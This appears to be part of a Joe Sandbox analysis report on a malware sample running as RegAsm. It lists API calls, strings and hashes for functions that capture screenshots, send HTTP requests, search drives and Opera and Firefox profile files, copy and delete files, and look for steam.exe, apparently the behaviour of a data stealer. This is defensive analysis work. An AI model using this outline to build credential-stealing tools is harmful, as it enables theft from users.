Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Strings

GET, xrefs: 00406A42
ERROR, xrefs: 00406AB6
ERROR, xrefs: 00406BAB

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 4b301aac1413ec1f9600bc5a73c6fb3069c15f339d7e1d03dac00a26f16159f7
Instruction ID: 92cd9d1bd0ee06350c03b9e3f3f18be2958867256fee3cd8884f2eb8500b7709
Opcode Fuzzy Hash: 4b301aac1413ec1f9600bc5a73c6fb3069c15f339d7e1d03dac00a26f16159f7
Instruction Fuzzy Hash: 7751ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180F6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: f27d1d706aeb0d74554958de5e9924e93eefc3c24a20ffb2af787612b4bf2548
Instruction ID: c6faaab440129de230cebaac92a1e8070c51ab0758410070003a9ef401c88f04
Opcode Fuzzy Hash: f27d1d706aeb0d74554958de5e9924e93eefc3c24a20ffb2af787612b4bf2548
Instruction Fuzzy Hash: D651EA72800218AFDF15EFA1ED498EE7FBAFF08315F045425F901E2120E7369A55DB61

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 33be087a765b30e38440072bcd36c0892490b8ac2d66f6b77931389c8af922ff
Instruction ID: 76e3a8217d52045138f56763d93bdd20641e6c073ea1ff4e423c555a608dce29
Opcode Fuzzy Hash: 33be087a765b30e38440072bcd36c0892490b8ac2d66f6b77931389c8af922ff
Instruction Fuzzy Hash: 85514FB190021D9BCF64DF60CC89AC9B7BDAB49305F1045E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera Crypto, xrefs: 0040C09F
Opera GX, xrefs: 0040C091
\*.*, xrefs: 0040BF73
Opera, xrefs: 0040C083

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 38bd3d9684717e82d1b3a5c0890bbc689e6f9daca2a9287c357f528bc350e131
Instruction ID: ed30aa09c5327c7eb0f5e5fa2ee104661cc823cc12f6b76a5c8c5369fc0deaad
Opcode Fuzzy Hash: 38bd3d9684717e82d1b3a5c0890bbc689e6f9daca2a9287c357f528bc350e131
Instruction Fuzzy Hash: AE021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

%DRIVE_REMOVABLE%, xrefs: 00415215
*%DRIVE_REMOVABLE%*, xrefs: 0041518F
%DRIVE_FIXED%, xrefs: 00415230
*%DRIVE_FIXED%*, xrefs: 0041515E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: fb6ad70e39f5ef89f1f50072cd2079530b4417cf6753b10fc69b05aaa8cad6e9
Instruction ID: 5e6e090b7426daa2190439f10c3a66e3b2dc60308d04b1e86fd5a2a7c5743c5f
Opcode Fuzzy Hash: fb6ad70e39f5ef89f1f50072cd2079530b4417cf6753b10fc69b05aaa8cad6e9
Instruction Fuzzy Hash: 21513CB190021CEFDF219FA1CC85BDA7BB9FB05304F1041AAEA48A7111EB355E89CF59

Function 00401D80 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043AA58,0043AA5C,004369EE,004369EB,RzA,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA60), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA64), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA68,0043AA6C,?,0043AA70,004369EF), ref: 004020DD

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FE1: Sleep.KERNEL32(000003E8,?,?), ref: 00417048

Strings

\*.*, xrefs: 00401E9E
RzA, xrefs: 00401D95

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CreateFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: RzA$\*.*
API String ID: 1116797323-2931902316
Opcode ID: 205ca9df9cbcbc4aea23f1733b1f31c9be91d5c31bf4cdcdca7f62653448333b
Instruction ID: 03da2bfaf68b702303e35fd0d74e3e7e3015190b13afd2a7b28b66f7f795f994
Opcode Fuzzy Hash: 205ca9df9cbcbc4aea23f1733b1f31c9be91d5c31bf4cdcdca7f62653448333b
Instruction Fuzzy Hash: 0F320E71A401299BCF21FB25DD4A6CD7375AF04308F5110EAB548771A1DBB8AFC98F98

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001,0043758C,004368AF), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: b97fea42974d094fd0cc0a613e254844a6b46db4e59ccc5c2ab5cfbf39ed580e
Instruction ID: 61a6a4170e4fe4489c424ce047c768c6d3b4f1f2829f9531367362cbf9008bf3
Opcode Fuzzy Hash: b97fea42974d094fd0cc0a613e254844a6b46db4e59ccc5c2ab5cfbf39ed580e
Instruction Fuzzy Hash: ACA10C71D001289BCF60FB65DD46BCD7375AF04318F4141EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001,004373D0,00436812,?,?,?), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: be877e69e0e089cd8ab01e0cb2d97779cc3744e73bec3c07472078e9045534b6
Instruction ID: c2b4ad5d3bc6b5bda946f752b02f6bf4f7fa1bcc677035090155be8f65edf037
Opcode Fuzzy Hash: be877e69e0e089cd8ab01e0cb2d97779cc3744e73bec3c07472078e9045534b6
Instruction Fuzzy Hash: 51812B7290021C9BCB20FB75DD46AD97779AB04308F4501A6EC48B3291EB789E998ED9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 027243ba97dca435574cf407395d6595096f7edf51cf7e00fac65da0e2a1e439
Instruction ID: 7bc993b3c5e25ddc5b0c025549b9a5cd4ad7e4e53104c4749658d5c2ec1958f9
Opcode Fuzzy Hash: 027243ba97dca435574cf407395d6595096f7edf51cf7e00fac65da0e2a1e439
Instruction Fuzzy Hash: B7012170A01224DFDB61DB64DD45BDE77B9AF09311F4011E6E409E2290EB399B80CB25

